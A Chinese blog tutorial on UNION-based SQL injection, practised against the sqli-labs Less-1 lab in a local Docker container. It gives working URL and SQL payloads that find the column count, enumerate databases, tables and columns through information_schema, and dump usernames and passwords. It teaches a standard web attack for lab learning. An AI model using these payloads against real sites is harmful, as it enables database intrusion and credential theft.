Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >1.2.1-SQL注入-SQL注入语法类型-union联合查询注入

1.2.1-SQL注入-SQL注入语法类型-union联合查询注入

作者头像
tea9
发布于 2022-07-16 08:41:49
发布于 2022-07-16 08:41:49
93300
代码可运行
举报
文章被收录于专栏:tea9的博客tea9的博客
运行总次数:0
代码可运行

union查询注入

union介绍

SQL UNION 操作符 用于合并两个或多个SELECT语句的结果集。 注意: SELECT语句必须拥有相同数量的列。 列也必须拥有相似的数据类型。 每条SELECT语句中列的顺序必须相同

默认情况,UNION操作符选取不同的值,允许重复的值,使用UNION ALL。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

union查询注入方法

UNION 注入应用场景

前提: 1.只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果; 2.注入点页面有回显;

注意点: 1.只有最后一个SELECT子句允许有ORDER BY; 2.只有最后一个SELECT子句允许有LIMIT;

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
mysql> select * from users order by id union select 1,2,3;
错误 orderby 要在最后一个子句后面

mysql> select * from users limit 0,1 union select;
错误 limit 要在最后一个子句后面
UNION注入过程-根据Sqli-labs Less1-4学习

tips:order by 猜出来的列数超过数据库表中的列数,报错并不能返回数据

  1. order by 确定列数
  2. 观察页面返回,选取可以显示数据的位置,进行下一步的注入
  3. 读库信息
  4. 读表信息
  5. 读字段
  6. 读数据
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
docker run -dt --name sqli -p 90:80 --rm acgpiano/sqli-labs 
docker ps -a
docker exec -it <id> /bin/bash
mysql -uroot -p
show databases;
use security;

1. select * from users order by 4; // order by 判断多少列 从1~3 报错了确定有4列

2. select * from users where id=1 union select 1,2,3;
select * from users where id=-1 union select 1,(select version()),3;

3. select * from users where id=-1 union select 1,2,(select group_concat(schema_name) from information_schema.schemata);

4. select * from users where id=-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security'); // 当前库可以换成database() ''不识别可以换成十六进制0x

5. select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users');

6. select * from users where id=-1 union select 1,2,(select group_concat(username,0x7e,password) from users);

浏览器访问: http://127.0.0.1:90/Less-1/

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http://127.0.0.1:90/Less-1/?id=1'
http://127.0.0.1:90/Less-1/?id=1' order by 1 --+ // 二分法试
http://127.0.0.1:90/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1:90/Less-1/?id=-1' union select 1,2,(version())--+ // user() database()

http://127.0.0.1:90/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

http://127.0.0.1:90/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

http://127.0.0.1:90/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

http://127.0.0.1:90/Less-1/?id=-1' union select 1,2,(select group_concat(username,0x7e,password) from users)--+
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
vue2升级vue3:Vue Demij打通vue2与vue3壁垒,构建通用组件
如果你的vue2代码之前是使用vue-class-component 类组件模式写的。选择可以使用 https://github.com/facing-dev/vue-facing-decorator 来进行低成本的升级,但是升级难度还是蛮大的。
周陆军博客
2022/07/25
1.5K0
Vue2+TypeScript+CompositionAPI实践
本文介绍用vue2.6x+TypeScript+CompositionAPI开发web页面。
luciozhang
2023/04/22
7670
Vue Demi是如何让你的库同时支持Vue2和Vue3的
这两种方式都有缺点,第一种很麻烦,第二种无法使用Vue3新增的组合式 API,其实现在Vue2.7+版本已经内置支持组合式API,Vue2.6及之前的版本也可以使用@vue/composition-api插件来支持,所以完全可以只写一套代码同时支持Vue2和3。虽然如此,但是实际开发中,同一个API在不同的版本中可能导入的来源不一样,比如ref方法,在Vue2.7+中直接从vue中导入,但是在Vue2.6-中只能从@vue/composition-api中导入,那么必然会涉及到版本判断,Vue Demi就是用来解决这个问题,使用很简单,只要从Vue Demi中导出你需要的内容即可:
街角小林
2023/03/01
2K0
Vue Demi是如何让你的库同时支持Vue2和Vue3的
Vue2.x中使用composition API,平滑过渡Vue3
Vue2.x已发布(vue2.7)最后一个版本的beta版本,原生支持composition API。
房东的狗丶
2023/02/17
1.1K0
[译] Vue 3 Composition API 之单元测试
原文:https://itnext.io/testing-the-composition-api-fae3bae3f592
江米小枣
2020/06/15
1.7K0
vue3的composition-api实践总结
因为向往已久vue3的开发方式,但是组内有很多历史项目,并且我们受制于ie的支持,所以我们决定在vue2中引入composition-api,来使用他的新特性。在使用过程中,我们遇到了很多问题,也积累了一些经验,所以记录下。
winty
2021/07/27
8910
Vue2.7正式发布,终于可以在Vue2项目中使用Vue3的特性了,真香~
尽管现在 Vue3 是默认版本,但还有许多用户、相关库、周边生态使用的是 Vue2,且由于依赖兼容性、浏览器支持要求或没有足够的带宽升级,导致不得不继续使用 Vue2。难道 Vue3 发布了这么多“真香”的特性,我们 Vue2 的用户与项目就只能眼巴巴地看着?当然不是!有一个好消息是,前两天 Vue2.7 正式发布了。在此版本中,从 Vue3 向后移植了一些最重要的功能,以便 Vue2 用户也可以从中受益。
JEECG
2022/10/25
3.4K0
Vite+Vue2+Composition-api+<script setup>+TypeScript搭配如何开发项目?
Vite相信大家都用过,它是一种新型前端开发与构建工具,能够显著提升前端开发体验。我们在搭建Vite项目,选择Vue模板之后,默认会下载Vue3模板。如果你的公司现在还没有准备使用Vue3,而在使用Vue2,那么这篇文章值得你继续看下去。下面,我将带大家如何搭建一个 Vite+Vue2+Composition-api+<script setup>+TypeScript 搭配使用的项目。这篇文章很干,请大家点点赞哦!
Vam的金豆之路
2021/12/01
1.8K0
Vite+Vue2+Composition-api+<script setup>+TypeScript搭配如何开发项目?
让你30分钟快速掌握vue 3
经过了漫长的迭代,Vue 3.0终于在上2020-09-18发布了,带了翻天覆地的变化,使用了Typescript 进行了大规模的重构,带来了Composition API RFC版本,类似React Hook 一样的写Vue,可以自定义自己的hook ,让使用者更加的灵活,接下来总结一下vue 3.0 带来的部分新特性。
前端开发博客
2020/11/04
2.4K0
Vue3 Composition-Api + TypeScript + 新型状态管理模式探索。
Vue3 Beta 版发布了,离正式投入生产使用又更近了一步。此外,React Hook 在社区的发 展也是如火如荼。
ssh_晨曦时梦见兮
2020/10/15
8040
@vue/composition-api速成课(通俗易懂版)
Composition API 将是 Vue 3 的核心功能,它具有许多更改和性能改进。我们也可以在 Vue 2 中通过 npm 插件@vue/composition-api 使用它。本人重点将带你了解:
前端迷
2020/09/30
2.9K0
Vue3 Composition-Api + TypeScript + 新型状态管理模式探索。
一时间大家都觉得Redux很low,都在研究各种各样配合hook实现的新形状态管理模式。
ssh_晨曦时梦见兮
2020/04/11
3.2K0
Vue3 Composition-Api + TypeScript  + 新型状态管理模式探索。
Vue3.0 新特性全面探索 - 基于 Composition Api 快速构建实战项目
建议配合 Visual Studio Code 和 Vue 3 Snippets 代码插件食用Ψ( ̄∀ ̄)Ψ。
wscats
2020/06/06
1.4K0
【解决方案】如何在Vue2的工程中书写Vue3语法?
随着Vue3正式版本的发布,公司的部分新项目开始启用Vue3,部分老项目也在向Vue3迁移
一尾流莺
2022/12/10
7380
【解决方案】如何在Vue2的工程中书写Vue3语法?
是时候系统学习一下Vue3在Web前端中的用法了!
大家都知道互联网的技术框架更新迭代得非常快,自己如果不及时跟上就容易落伍,尤其是当一门技术或者一个框架在行业内火起来之后,这时候如果还不去学习它就容易让自己被时代所淘汰。Vue3发布都一年多了,最近接手公司项目的前端工程里就开始全面使用Vue3了。笔者也了解到,自从vue3在2020年发布之后,由于Vue3相比Vue2具有很多优势,因此国内很多互联网公司在构建前端项目时都已经开始转向使用Vue3。因为项目需要而去学总显得有些被动,毕竟现学现用多少会在一定程度上耽误自己的工作进展。而平时利用周末时间主动学习掌握的东西等到工作中需要时,直接上手即可,省去了从零开始学习的成本,当然在工作项目中用起来也是对自己学习成果的检验和强化!
用户3587585
2022/03/11
2.1K0
是时候系统学习一下Vue3在Web前端中的用法了!
石桥码农:Vue3 与 Vue2 在响应机制的实现上有什么差别?
vue 开发者可能都遇到过这样一个问题:如果模板中数据绑定的是一个数组,我们在 js 代码里面,直接以索引方式改变数组元素的值,有时候视图并不会按照我们的期许更新。下面,我们创建一个代码示例,再现这个场景:
LIYI
2020/02/13
2.2K2
石桥码农:Vue3 与 Vue2 在响应机制的实现上有什么差别?
Vue篇(011)-vue3带来的新特性/亮点
2. Tree shaking support: 按需编译,体积比vue2.x更小;
齐丶先丶森
2022/05/12
1.2K0
Vue篇(011)-vue3带来的新特性/亮点
实用的VUE系列——快速使用 vue ,就要鄙视他,理解他,成为他
声明:本文为稀土掘金技术社区首发签约文章,30天内禁止转载,30天后未获授权禁止转载,侵权必究!
用户7413032
2024/05/07
1160
实用的VUE系列——快速使用 vue ,就要鄙视他,理解他,成为他
vue3简易入门剖析
,发音同 “veet”)是一种新型前端构建工具,能够显著提升前端开发体验。它主要由两部分组成:
张哥编程
2024/12/13
4200
将 Vue 插件升级到同时支持 Vue2 和 3 的实践小结
之前利用业余时间开发了一个 Vue 插件,那会市场还是 Vue2 的时代。如今,Vue3 已然成为了必然趋势,为了让项目有更长的生命周期,有必要升级一下,让这个库也支持 Vue3。
Leecason
2022/07/13
1.3K0
推荐阅读
相关推荐
vue2升级vue3:Vue Demij打通vue2与vue3壁垒,构建通用组件
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验